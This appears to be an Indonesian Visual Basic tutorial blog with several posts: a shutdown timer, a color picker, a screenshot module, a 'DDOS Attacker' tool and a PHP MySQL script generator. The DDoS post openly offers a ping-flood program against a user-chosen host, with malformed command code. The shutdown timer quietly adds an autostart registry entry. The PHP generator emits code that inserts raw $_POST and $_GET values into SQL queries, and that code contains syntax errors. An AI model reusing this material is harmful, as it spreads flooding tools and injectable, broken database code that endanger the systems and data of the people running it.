Membuat Shutdown, Restart, Sleep Timer menggunakan visual basic 2008/ vb.net

Untuk Membuat Shutdown, Restart, Sleep Timer menggunakan visual basic 2008/ vb.net komponen yang dibutuhkan yaitu:

1. 3 label

2. 3 button

3. 2 timer

4. 2 combo box

Kosongkan text pada label1 dan ganti text pada label2 menjadi Jam dan label3 menjadi Opsi, kemudian isikan items pada combobox1 dari angka 1 hingga 23 kemudian dilanjutkan angka 00 dan combobox2 isikan items:

• Shutdown
• Restart
• Sleep

Lalu ganti text dari button menjadi Setting Manual ganti background form menggunakan gambar sesuai keinginan anda saja dan ubah FormBorderStyle menjadi None, ganti Text pada button2 menjadi X dan hapus text pada button3 lihat  gambar dibawah:

 

Setelah tampilan tertata menjadi seperti yang diatas, kemudian klik 2 kali formnya dan hapus semua kode yang ada lalu masukkan kode dibawah:

Imports System.IO
Public Class Form1
    Private IsFormBeingDragged As Boolean = False
    Private MouseDownX As Integer
    Private MouseDownY As Integer

    Private Sub Form1_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) Handles MyBase.MouseDown

        If e.Button = MouseButtons.Left Then
            IsFormBeingDragged = True
            MouseDownX = e.X
            MouseDownY = e.Y
        End If
    End Sub

    Private Sub Form1_MouseUp(ByVal sender As Object, ByVal e As MouseEventArgs) Handles MyBase.MouseUp

        If e.Button = MouseButtons.Left Then
            IsFormBeingDragged = False
        End If
    End Sub

    Private Sub Form1_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) Handles MyBase.MouseMove

        If IsFormBeingDragged Then
            Dim temp As Point = New Point()

            temp.X = Me.Location.X + (e.X - MouseDownX)
            temp.Y = Me.Location.Y + (e.Y - MouseDownY)
            Me.Location = temp
            temp = Nothing
        End If
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Label1.Text = "Jam Sekarang  " & TimeOfDay
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
           Dim file As String = "srst.exe"
        Dim dir As Object = Path.GetFullPath(file)
        Dim reg As Object = CreateObject("WScript.Shell")
        reg.regWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\srst", dir)
        Timer2.Enabled = True
        NotifyIcon1.Visible = True
        Me.Hide()
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        If ComboBox1.Text = "" Then
            Timer2.Stop()
            MsgBox("Anda belum setting jam!!", MsgBoxStyle.Critical, "Error!!")

        ElseIf Hour(TimeOfDay) = ComboBox1.Text Then
            If ComboBox2.Text = "Shutdown" Then
                Shell("Shutdown -s")
                Timer2.Enabled = False
            ElseIf ComboBox2.Text = "Restart" Then
                Shell("Shutdown -r")
                Timer2.Enabled = False
            ElseIf ComboBox2.Text = "Sleep" Then
                Shell("Shutdown -l")
                Timer2.Enabled = False

            End If
        Else
        End If
    End Sub

    Private Sub ContextMenuStrip1_Opening(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles ContextMenuStrip1.Opening
        NotifyIcon1.Visible = False
        Me.Show()
    End Sub

    Private Sub NotifyIcon1_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles NotifyIcon1.DoubleClick
        NotifyIcon1.Visible = False
        Me.Show()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        End
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Left = 1
        Me.Top = 1
        Me.TopMost = True
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        NotifyIcon1.Visible = True
        Me.Hide()
    End Sub
End Class
 

Read more

Color Picker visual basic 2008 / vb.net

 Kali ini saya akan memberikan kode untuk membuat Color Picker visual basic 2008 / vb.net paling sederhana, karena ini baru langkah awal agar dapat dikembangkan sesuai keinginan para pecinta visual basic, color picker ini bisa digunakan untuk membuat program seperti Spanduk, Logo, Stiker dan semacamnya.

Untuk mengawali membuat Color Picker visual basic 2008 / vb.net, anda buka Microsoft visual basic 2008/vb.net lalu klik 2 kali form yang sudah dibuat, hapus semua kode yang ada dan masukkan kode dibawah ini:

Public Class Form1

    Dim clr As New ColorDialog


    Private Sub Form1_DoubleClick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.DoubleClick
        If clr.ShowDialog = Windows.Forms.DialogResult.OK Then
            Me.BackColor = clr.Color
            Me.Text = "Warna yang anda pilih: " & clr.Color.Name
        End If
    End Sub
End Class

Sekarang coba Run setelah terbuka windows yang baru saja di run, klik 2 kali halaman Form1 nya maka akan muncul Settingan warna dan jika anda pilih salah satu warn tersebut maka background form akan berubah sesuai dengan warna yang anda pilih dan  Judul Form akan menyesuaikan warna ang anda pilih.

Read more

Membuat Screenshot / screen capture menggunakan visual basic 6

Untuk Membuat Screenshot / screen capture menggunakan visual basic 6 cukup membutuhkan kejelian dan sedikit skill image properties dan picturebox properties, tapi saya akan mencoba mempermudah dalam Membuat Screenshot / screen capture menggunakan visual basic 6 ini dengan cara buatlah satu form dengan komponen-komponen sebagai berikut:

• 6 button
• 1 picturebox

Untuk lebih jelasnya lihat gambar dibawah:

 

Lalu buatlah sau module dan masukkan kode dibawah ini:

Option Explicit
Option Base 0
Private Type PALETTEENTRY
    peRed   As Byte
    peGreen As Byte
    peBlue  As Byte
    peFlags As Byte
End Type

Private Type LOGPALETTE
    palVersion       As Integer
    palNumEntries    As Integer
    palPalEntry(255) As PALETTEENTRY
End Type
        
Private Type GUID
    Data1    As Long
    Data2    As Integer
    Data3    As Integer
    Data4(7) As Byte
End Type

Private Type RECT
    Left   As Long
    Top    As Long
    Right  As Long
    Bottom As Long
End Type

Private Type PicBmp
    Size As Long
    Type As Long
    hBmp As Long
    hPal As Long
    Reserved As Long
End Type

Private Const RASTERCAPS As Long = 38
Private Const RC_PALETTE As Long = &H100
Private Const SIZEPALETTE As Long = 104

Private Declare Function CreateCompatibleBitmap Lib "GDI32" ( _
    ByVal hDC As Long, ByVal nWidth As Long, _
    ByVal nHeight As Long) As Long


Private Declare Function GetDeviceCaps Lib "GDI32" ( _
    ByVal hDC As Long, ByVal iCapabilitiy As Long) As Long


Private Declare Function GetSystemPaletteEntries Lib "GDI32" ( _
    ByVal hDC As Long, ByVal wStartIndex As Long, _
    ByVal wNumEntries As Long, lpPaletteEntries As PALETTEENTRY) _
    As Long


Private Declare Function CreateCompatibleDC Lib "GDI32" ( _
    ByVal hDC As Long) As Long


Private Declare Function CreatePalette Lib "GDI32" ( _
    lpLogPalette As LOGPALETTE) As Long


Private Declare Function SelectPalette Lib "GDI32" ( _
    ByVal hDC As Long, ByVal hPalette As Long, _
    ByVal bForceBackground As Long) As Long


Private Declare Function RealizePalette Lib "GDI32" ( _
    ByVal hDC As Long) As Long


Private Declare Function SelectObject Lib "GDI32" ( _
    ByVal hDC As Long, ByVal hObject As Long) As Long


Private Declare Function BitBlt Lib "GDI32" ( _
    ByVal hDCDest As Long, ByVal XDest As Long, _
    ByVal YDest As Long, ByVal nWidth As Long, _
    ByVal nHeight As Long, ByVal hDCSrc As Long, _
    ByVal XSrc As Long, ByVal YSrc As Long, ByVal dwRop As Long) _
    As Long


Private Declare Function GetWindowDC Lib "USER32" ( _
    ByVal hWnd As Long) As Long

Private Declare Function GetDC Lib "USER32" ( _
    ByVal hWnd As Long) As Long


Private Declare Function ReleaseDC Lib "USER32" ( _
    ByVal hWnd As Long, ByVal hDC As Long) As Long


Private Declare Function DeleteDC Lib "GDI32" ( _
    ByVal hDC As Long) As Long


Private Declare Function GetWindowRect Lib "USER32" ( _
    ByVal hWnd As Long, lpRect As RECT) As Long


Private Declare Function GetDesktopWindow Lib "USER32" () As Long


Private Declare Function GetForegroundWindow Lib "USER32" () As Long


Private Declare Function OleCreatePictureIndirect _
    Lib "olepro32.dll" (PicDesc As PicBmp, RefIID As GUID, _
    ByVal fPictureOwnsHandle As Long, IPic As IPicture) As Long
Public Function CreateBitmapPicture(ByVal hBmp As Long, _
        ByVal hPal As Long) As Picture

Dim r   As Long
Dim Pic As PicBmp

Dim IPic          As IPicture
Dim IID_IDispatch As GUID

With IID_IDispatch
    .Data1 = &H20400
    .Data4(0) = &HC0
    .Data4(7) = &H46
End With

With Pic
    .Size = Len(Pic)
    .Type = vbPicTypeBitmap
    .hBmp = hBmp
    .hPal = hPal
End With

r = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)

Set CreateBitmapPicture = IPic
End Function




Public Function CaptureWindow(ByVal hWndSrc As Long, _
    ByVal bClient As Boolean, ByVal LeftSrc As Long, _
    ByVal TopSrc As Long, ByVal WidthSrc As Long, _
    ByVal HeightSrc As Long) As Picture

Dim hDCMemory       As Long
Dim hBmp            As Long
Dim hBmpPrev        As Long
Dim r               As Long
Dim hDCSrc          As Long
Dim hPal            As Long
Dim hPalPrev        As Long
Dim RasterCapsScrn  As Long
Dim HasPaletteScrn  As Long
Dim PaletteSizeScrn As Long
Dim LogPal          As LOGPALETTE

If bClient Then
    hDCSrc = GetDC(hWndSrc)
Else
    hDCSrc = GetWindowDC(hWndSrc)
End If

hDCMemory = CreateCompatibleDC(hDCSrc)

hBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc)
hBmpPrev = SelectObject(hDCMemory, hBmp)

RasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS)   'Raster capabilities
HasPaletteScrn = RasterCapsScrn And RC_PALETTE       'Palette support
PaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE) 'Palette size

If HasPaletteScrn And (PaletteSizeScrn = 256) Then

    LogPal.palVersion = &H300
    LogPal.palNumEntries = 256
    r = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0))
    hPal = CreatePalette(LogPal)

    hPalPrev = SelectPalette(hDCMemory, hPal, 0)
    r = RealizePalette(hDCMemory)
End If

r = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, _
    LeftSrc, TopSrc, vbSrcCopy)

hBmp = SelectObject(hDCMemory, hBmpPrev)

If HasPaletteScrn And (PaletteSizeScrn = 256) Then
    hPal = SelectPalette(hDCMemory, hPalPrev, 0)
End If

r = DeleteDC(hDCMemory)
r = ReleaseDC(hWndSrc, hDCSrc)

Set CaptureWindow = CreateBitmapPicture(hBmp, hPal)
End Function

Public Function CaptureScreen() As Picture
Dim hWndScreen As Long

hWndScreen = GetDesktopWindow()

With Screen
    Set CaptureScreen = CaptureWindow(hWndScreen, False, 0, 0, _
            .Width \ .TwipsPerPixelX, .Height \ .TwipsPerPixelY)
End With
End Function

Public Function CaptureForm(frm As Form) As Picture

With frm
    Set CaptureForm = CaptureWindow(.hWnd, False, 0, 0, _
            .ScaleX(.Width, vbTwips, vbPixels), _
            .ScaleY(.Height, vbTwips, vbPixels))
End With
End Function

Public Function CaptureClient(frm As Form) As Picture

With frm
    Set CaptureClient = CaptureWindow(.hWnd, True, 0, 0, _
            .ScaleX(.ScaleWidth, .ScaleMode, vbPixels), _
            .ScaleY(.ScaleHeight, .ScaleMode, vbPixels))
End With
End Function

Public Function CaptureFreeArea(frm As Form, numTop, numLeft, numHeigth, numWidth) As Picture

With frm
  
    Set CaptureFreeArea = CaptureWindow(.hWnd, True, numTop, numLeft, _
            .ScaleX(numWidth, .ScaleMode, vbPixels), _
            .ScaleY(numHeigth, .ScaleMode, vbPixels))
End With
End Function

Public Function CaptureActiveWindow() As Picture
Dim hWndActive As Long
Dim RectActive As RECT

hWndActive = GetForegroundWindow()
Call GetWindowRect(hWndActive, RectActive)

With RectActive
    Set CaptureActiveWindow = CaptureWindow(hWndActive, False, 0, 0, _
            .Right - .Left, .Bottom - .Top)
End With
End Function

Public Sub PrintPictureToFitPage(Prn As Printer, Pic As Picture)

Dim PicRatio     As Double
Dim PrnWidth     As Double
Dim PrnHeight    As Double
Dim PrnRatio     As Double
Dim PrnPicWidth  As Double
Dim PrnPicHeight As Double
Const vbHiMetric As Integer = 8

If Pic.Height >= Pic.Width Then
    Prn.Orientation = vbPRORPortrait
Else
    Prn.Orientation = vbPRORLandscape
End If

PicRatio = Pic.Width / Pic.Height

With Prn
    PrnWidth = .ScaleX(.ScaleWidth, .ScaleMode, vbHiMetric)
    PrnHeight = .ScaleY(.ScaleHeight, .ScaleMode, vbHiMetric)
End With

PrnRatio = PrnWidth / PrnHeight

If PicRatio >= PrnRatio Then

    PrnPicWidth = Prn.ScaleX(PrnWidth, vbHiMetric, Prn.ScaleMode)
    PrnPicHeight = Prn.ScaleY(PrnWidth / PicRatio, vbHiMetric, Prn.ScaleMode)
Else

    PrnPicHeight = Prn.ScaleY(PrnHeight, vbHiMetric, Prn.ScaleMode)
    PrnPicWidth = Prn.ScaleX(PrnHeight * PicRatio, vbHiMetric, Prn.ScaleMode)
End If

Call Prn.PaintPicture(Pic, 0, 0, PrnPicWidth, PrnPicHeight)
End Sub

Setelah dibuat module dengan kode diatas kemudian klik 2 kali form yang sudah didesign seperti gambar diatas, hapus semua kode dan masukkan kode dibawah ini:

Option Explicit

Private Sub cmdScreen_Click()
Set Picture1.Picture = CaptureScreen()
End Sub


Private Sub cmdForm_Click()
Set Picture1.Picture = CaptureForm(Me)
End Sub


Private Sub cmdClient_Click()

Set Picture1.Picture = CaptureFreeArea(Me, 0, 0, 10000, 10000)

End Sub


Private Sub cmdActive_Click()
Dim EndTime As Date
MsgBox "Two seconds after you close this dialog " & _
       "the active window will be captured.", _
       vbInformation, "Capture Active Window"

EndTime = DateAdd("s", 2, Now)
Do Until Now > EndTime
    DoEvents
Loop

Set Picture1.Picture = CaptureActiveWindow()
Me.SetFocus
End Sub


Private Sub cmdPrint_Click()
Call PrintPictureToFitPage(Printer, Picture1.Picture)
Printer.EndDoc
End Sub


Private Sub cmdClear_Click()
Set Picture1.Picture = Nothing
End Sub


Private Sub Form_Load()

Picture1.AutoSize = True
End Sub


Private Sub Form_Unload(Cancel As Integer)
Set Form1 = Nothing
End Sub


Selanjunya tinggal make Project Exe saja dan program sudah bisa dijalankan.

 

 

Read more

DDOS Attacker visual basic 2008/ vb.net

Tadinya saya tidak mau membuat program yang dapa merugikan orang lain seperti DDOS Attacker visual basic 2008/ vb.net namun setelah berfikir dalam waktu yang cukup lama akhirnya keputusan untuk membuat DDOS Attacker visual basic 2008/ vb.net ditentukan, mungkin software ini saya peruntukan hanya untuk orang yang ingin belajar mengembangkan Programing language saja, jadi kalau ada seseorang yang menggunakan ilmu atau pelajaran yang didapat dari blog ini untuk kepentingan pribadi saja, saya tidak akan dan tidak mau bertanggung jawab sama sekali.

Baiklah, sekarang bukalah Visual basic 2008 anda kemudian buatlah satu form dengan kmponen sebagai berikut:

• 1 label
• 1 textbox
• 2 button
• 1 listbox
• 1 Timer dengan ketentuan sebagai berikut:

            - Enabled= False
            - Interval = 1
            - Modifier = Friends

Lihat gambar dibawah:

 

Kemudian klik 2 kali formnya, hapus semua kode yang ada dan masukkan kode dibawah ini:

Imports System.Net
Public Class form1
    Dim pi As New System.Net.NetworkInformation.PingOptions
    Dim pipi As New System.Net.NetworkInformation.Ping
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Enabled = True
        Button2.Enabled = True
        Button1.Enabled = False

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim host As IPHostEntry = Dns.GetHostByName(TextBox1.Text)
        Dim ip As IPAddress() = host.AddressList

        Shell("Ping " & (TextBox1.Text) & "-1" & "6500")
        pipi.Send(TextBox1.Text)
        Try
            ListBox1.Items.Add("Ping Reply From " & ip(0).ToString & " time=" & pipi.Send(TextBox1.Text).RoundtripTime & " TTL=" & pipi.Send(TextBox1.Text).Options.Ttl)
            ListBox1.SelectedIndex += 1

        Catch
            ListBox1.Items.Add("Timed Out")
            ListBox1.SelectedIndex += 1
        End Try
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Enabled = False
        Button1.Enabled = True
        Button2.Enabled = False
    End Sub
End Class

 Lalu coba jalankan program yang sudah dibuat tersebut, maka hasilnya akan seperti gambar dibawah ini:

 

 

 

Read more

Membuat PHP MySQL Script creator menggunakan visual basic 2008 / vb.net bagian ke Empat (Insert,Update,Delete & Select) tahap Akhir

Setelah beberapa tahap dilalui inilah saat terakhir untuk menentukan finishing dalam Membuat PHP MySQL Script creator menggunakan visual basic 2008 / vb.net bagian ke Empat (Insert,Update,Delete & Select) tahap III / Finishing dalam hal ini ada sedikit tambahan dalam form yaitu:

    Mengganti Text Form dengan PHP MYSQL Script creator oleh Aang
    Mengganti warna background menjadi silver
    Menambahkan 3 button yaitu button copy script, Ulangi, dan Simpan Script, lihat gambar dibawah:

Setelah menambahkan 3 button seperti gambar diatas langkah selanjutnya adalah mengganti semua kode yang sudah dibuat dengan kode dibawah:

    Public Class Form1

        Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged
            If RichTextBox1.Text = "" Then
                RichTextBox1.Text = "<?php" & vbNewLine
            End If
        End Sub

        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            RichTextBox1.Text = RichTextBox1.Text & vbNewLine & "$konak=mysql_connect('" & TextBox1.Text & "','" & TextBox2.Text & "','" & TextBox3.Text & "');" & vbNewLine
        End Sub

        Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
            RichTextBox1.Text = RichTextBox1.Text & "mysql_select_db('" & TextBox4.Text & "',$konak);" & vbNewLine
        End Sub

        Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged
            If Not RichTextBox1.Text.Contains("mysql_connect") And ComboBox1.Text = "Insert" Then
                RichTextBox1.Text = "<?php" & vbNewLine & "if isset($_POST['Submit'])){" & vbNewLine & "mysql_query(" & """Insert into "
                TextBox5.Visible = True
                Button3.Visible = True
            ElseIf Not RichTextBox1.Text.Contains("mysql_connect") And ComboBox1.Text = "Update" Then
                RichTextBox1.Text = "<?php" & vbNewLine & "$id2=$_GET['id'];" & vbNewLine & " if (isset($_GET['id'])){" & vbNewLine & "if isset($_POST['Submit'])){" & vbNewLine & "mysql_query(" & """Update "
                TextBox5.Visible = True
                Button3.Visible = True
                TextBox6.Visible = False
            ElseIf Not RichTextBox1.Text.Contains("mysql_connect") And ComboBox1.Text = "Delete" Then
                RichTextBox1.Text = "<?php" & vbNewLine & "$id2=$_GET['id'];" & vbNewLine & " if (isset($_GET['id'])){" & vbNewLine & "if isset($_POST['Submit'])){" & vbNewLine & "mysql_query(" & """Delete from "
                TextBox5.Visible = True
                Button3.Visible = True
                TextBox6.Visible = False
            ElseIf Not RichTextBox1.Text.Contains("mysql_connect") And ComboBox1.Text = "Select" Then
                RichTextBox1.Text = "<?php" & vbNewLine & "$id2=$_GET['id'];" & vbNewLine & " if (isset($_GET['id'])){" & vbNewLine & "$result=mysql_query(" & """Select * from "
                TextBox5.Visible = True
                Button3.Visible = True
                TextBox6.Visible = False
            ElseIf Not RichTextBox1.Text.Contains("mysql_connect") And ComboBox1.Text = "Select While" Then
                RichTextBox1.Text = "<?php" & vbNewLine & "$id2=$_GET['id'];" & vbNewLine & "$result=mysql_query(" & """Select * from "
                TextBox5.Visible = True
                Button3.Visible = True
                TextBox6.Visible = False
            ElseIf RichTextBox1.Text.Contains("mysql_connect") And ComboBox1.Text = "Insert" Then
                RichTextBox1.Text = RichTextBox1.Text & "if isset($_POST['Submit'])){" & vbNewLine & "mysql_query(" & """Insert into "
                TextBox5.Visible = True
                Button3.Visible = True
            ElseIf RichTextBox1.Text.Contains("mysql_connect") And ComboBox1.Text = "Update" Then
                RichTextBox1.Text = RichTextBox1.Text & "$id2=$_GET['id'];" & vbNewLine & " if (isset($_GET['id'])){" & vbNewLine & "if isset($_POST['Submit'])){" & vbNewLine & "mysql_query(" & """Update "
                TextBox5.Visible = True
                Button3.Visible = True
                TextBox6.Visible = False
            ElseIf RichTextBox1.Text.Contains("mysql_connect") And ComboBox1.Text = "Delete" Then
                RichTextBox1.Text = RichTextBox1.Text & "$id2=$_GET['id'];" & vbNewLine & " if (isset($_GET['id'])){" & vbNewLine & "if isset($_POST['Submit'])){" & vbNewLine & "mysql_query(" & """Delete from "
                TextBox5.Visible = True
                Button3.Visible = True
                TextBox6.Visible = False
            ElseIf RichTextBox1.Text.Contains("mysql_connect") And ComboBox1.Text = "Select" Then
                RichTextBox1.Text = RichTextBox1.Text & "$id2=$_GET['id'];" & vbNewLine & " if (isset($_GET['id'])){" & vbNewLine & vbNewLine & "$result=mysql_query(" & """Select * from "
                TextBox5.Visible = True
                Button3.Visible = True
                TextBox6.Visible = False
            ElseIf RichTextBox1.Text.Contains("mysql_connect") And ComboBox1.Text = "Select While" Then
                RichTextBox1.Text = RichTextBox1.Text & "$id2=$_GET['id'];" & vbNewLine & "$result=mysql_query(" & """Select * from "
                TextBox5.Visible = True
                Button3.Visible = True
                TextBox6.Visible = False
            End If
        End Sub


        Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
            If ComboBox1.Text = "Insert" Then
                RichTextBox1.Text = RichTextBox1.Text & TextBox5.Text & "("
                Button3.Visible = False
                Label6.Text = "Kolom"
                Button4.Visible = True
            ElseIf ComboBox1.Text = "Update" Then
                RichTextBox1.Text = RichTextBox1.Text & " " & TextBox5.Text & " SET "
                Button3.Visible = False
                Label6.Text = "Kolom"
                Button4.Visible = True
            ElseIf ComboBox1.Text = "Delete" Then
                RichTextBox1.Text = RichTextBox1.Text & " " & TextBox5.Text & " Where id=$id2"");" & vbNewLine & "}" & vbNewLine & "}" & vbNewLine & "?>" & vbNewLine
                Button3.Visible = False
                Label6.Text = "Kolom"
                Button4.Visible = True
                TextBox4.Visible = False
                TextBox5.Visible = False
                Button4.Visible = False
                Button5.Visible = False
                Button6.Visible = True
            ElseIf ComboBox1.Text = "Select" Then
                RichTextBox1.Text = RichTextBox1.Text & " " & TextBox5.Text & " Where id=$id2"");" & vbNewLine & "$hasil=mysql_fetch_array($result);" & vbNewLine
                Button3.Visible = False
                Label6.Text = "Kolom"
                Button4.Visible = True
                TextBox4.Visible = True
                TextBox5.Visible = True
                Button5.Visible = False
                Button6.Visible = True
            ElseIf ComboBox1.Text = "Select While" Then
                RichTextBox1.Text = RichTextBox1.Text & " " & TextBox5.Text & """);" & vbNewLine
                Button3.Visible = False
                Label6.Text = "Kolom"
                Button4.Visible = True
                TextBox4.Visible = True
                TextBox5.Visible = True
                Button5.Visible = False
                Button6.Visible = True
            End If
          
        End Sub

        Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
            If Label6.Text = "Kolom" And ComboBox1.Text = "Insert" Then
                RichTextBox1.Text = RichTextBox1.Text & TextBox5.Text
                TextBox5.Visible = False
                TextBox6.Visible = True
                Button4.Visible = False
                Button5.Visible = True
                Button6.Visible = True
            ElseIf Label6.Text = "Kolom" And ComboBox1.Text = "Update" Then
                RichTextBox1.Text = RichTextBox1.Text & TextBox5.Text & "='$_POST[" & TextBox5.Text & "]'"
                RichTextBox2.Text = RichTextBox2.Text & "<form action='' method=''>" & vbNewLine & "<input name='" & TextBox5.Text & "'>"
                TextBox5.Visible = False
                TextBox6.Visible = True
                Button4.Visible = False
                Button5.Visible = True
                Button6.Visible = True
            ElseIf Label6.Text = "Kolom" And ComboBox1.Text = "Select" Then
                RichTextBox1.Text = RichTextBox1.Text & "$" & TextBox5.Text & "=$hasil['" & TextBox5.Text & "'];" & vbNewLine
                RichTextBox2.Text = RichTextBox2.Text & "<? echo $" & TextBox5.Text & "; ?><hr>" & vbNewLine
                TextBox6.Visible = False
                Button4.Visible = False
                Button5.Visible = True
                Button6.Visible = True
            ElseIf Label6.Text = "Kolom" And ComboBox1.Text = "Select While" Then
                RichTextBox1.Text = RichTextBox1.Text & "while($" & TextBox5.Text & "=mysql_fetch_array($result)){" & vbNewLine & "?>" & vbNewLine
                TextBox6.Visible = True
                Button4.Visible = False
                Button5.Visible = True
                Button6.Visible = True
            Else
                RichTextBox1.Text = RichTextBox1.Text & "'$_POST[" & TextBox5.Text & "]'"
                RichTextBox2.Text = RichTextBox2.Text & "<form action='' method='POST'>" & vbNewLine & "<input name='" & TextBox5.Text & "'>"
                TextBox5.Visible = False
                TextBox6.Visible = True
                Button4.Visible = False
                Button5.Visible = True
                Button6.Visible = True
            End If
        End Sub

        Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
            If Label6.Text = "Kolom" And RichTextBox1.Text.Contains("Insert") Then
                RichTextBox1.Text = RichTextBox1.Text & "," & TextBox6.Text
            ElseIf Label6.Text = "Values" And RichTextBox1.Text.Contains("Insert") Then
                RichTextBox1.Text = RichTextBox1.Text & ",'$_POST[" & TextBox6.Text & "]'"
                RichTextBox2.Text = RichTextBox2.Text & vbNewLine & "<input name='" & TextBox6.Text & "'>"
            ElseIf Label6.Text = "Kolom" And RichTextBox1.Text.Contains("Update") Then
                RichTextBox1.Text = RichTextBox1.Text & "," & TextBox6.Text & "='$_POST[" & TextBox6.Text & "]'"
                RichTextBox2.Text = RichTextBox2.Text & vbNewLine & "<input name='" & TextBox6.Text & "'>"
            ElseIf Label6.Text = "Kolom" And ComboBox1.Text = "Select" Then
                RichTextBox1.Text = RichTextBox1.Text & "$" & TextBox5.Text & "=$hasil['" & TextBox5.Text & "'];" & vbNewLine
                RichTextBox2.Text = RichTextBox2.Text & "<? echo $" & TextBox5.Text & "; ?><hr>" & vbNewLine
            ElseIf Label6.Text = "Kolom" And ComboBox1.Text = "Select While" Then
                RichTextBox2.Text = RichTextBox2.Text & "<? echo $" & TextBox5.Text & "['" & TextBox6.Text & "']; ?>" & vbNewLine
                TextBox6.Visible = True
                Button4.Visible = False
                Button5.Visible = True
                Button6.Visible = True
            End If
        End Sub

        Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
            If Label6.Text = "Kolom" And ComboBox1.Text = "Insert" Then
                RichTextBox1.Text = RichTextBox1.Text & ") values ("
                Label6.Text = "Values"
                TextBox6.Visible = False
                Button5.Visible = False
                TextBox5.Visible = True
                Button4.Visible = True
            ElseIf Label6.Text = "Values" And ComboBox1.Text = "Insert" Then
                RichTextBox1.Text = RichTextBox1.Text & ")" & """);" & vbNewLine & "echo 'Sukses';" & vbNewLine & "}" & vbNewLine & "?>" & vbNewLine
                RichTextBox2.Text = RichTextBox2.Text & vbNewLine & "<input name='Submit' value='Masuk' type='submit'></form>"
                RichTextBox1.Text = RichTextBox1.Text & RichTextBox2.Text
                RichTextBox2.Clear()
                Button6.Visible = False
                TextBox6.Visible = False
                TextBox5.Visible = False
                TextBox4.Visible = True
                Button5.Visible = False
                Button4.Visible = False
                Button3.Visible = False
            ElseIf Label6.Text = "Kolom" And ComboBox1.Text = "Update" Then
                RichTextBox1.Text = RichTextBox1.Text & " where id=$id2"");" & vbNewLine & "}" & vbNewLine & "}" & vbNewLine & "?>"
                RichTextBox2.Text = RichTextBox2.Text & vbNewLine & "<input name='Submit' value='Masuk' type='submit'></form>"
                RichTextBox1.Text = RichTextBox1.Text & RichTextBox2.Text
                Button6.Visible = False
                TextBox6.Visible = False
                TextBox5.Visible = False
                TextBox4.Visible = True
                Button5.Visible = False
                Button4.Visible = False
                Button3.Visible = False
            ElseIf Label6.Text = "Kolom" And ComboBox1.Text = "Delete" Then
                RichTextBox2.Text = RichTextBox2.Text & vbNewLine & "<form action='' method='POST'><input name='Submit' value='Hapus' type='submit'></form>"
                RichTextBox1.Text = RichTextBox1.Text & RichTextBox2.Text
                Button6.Visible = False
                TextBox6.Visible = False
                TextBox5.Visible = False
                TextBox4.Visible = True
                Button5.Visible = False
                Button4.Visible = False
                Button3.Visible = False
            ElseIf Label6.Text = "Kolom" And ComboBox1.Text = "Select" Then
                RichTextBox1.Text = RichTextBox1.Text & "}" & vbNewLine & "?>"
                RichTextBox1.Text = RichTextBox1.Text & RichTextBox2.Text
                Button6.Visible = False
                TextBox6.Visible = False
                TextBox5.Visible = False
                TextBox4.Visible = True
                Button5.Visible = False
                Button4.Visible = False
                Button3.Visible = False
            ElseIf Label6.Text = "Kolom" And ComboBox1.Text = "Select While" Then
                RichTextBox2.Text = RichTextBox2.Text & "<?" & vbNewLine & "}" & vbNewLine & "?>"
                RichTextBox1.Text = RichTextBox1.Text & RichTextBox2.Text
                Button6.Visible = False
                TextBox6.Visible = False
                TextBox5.Visible = False
                TextBox4.Visible = True
                Button5.Visible = False
                Button4.Visible = False
                Button3.Visible = False
            End If
        End Sub

        Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
            My.Computer.Clipboard.SetText(RichTextBox1.Text)
        End Sub

        Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click
            Button6.Visible = False
            TextBox6.Visible = False
            TextBox5.Visible = False
            TextBox4.Visible = True
            Button5.Visible = False
            Button4.Visible = False
            Button3.Visible = False
            RichTextBox1.Text = "<?php" & vbNewLine
            RichTextBox2.Text = "<HTML>" & vbNewLine
            TextBox5.Text = ""
            TextBox6.Text = ""
        End Sub
        Dim sv As New SaveFileDialog
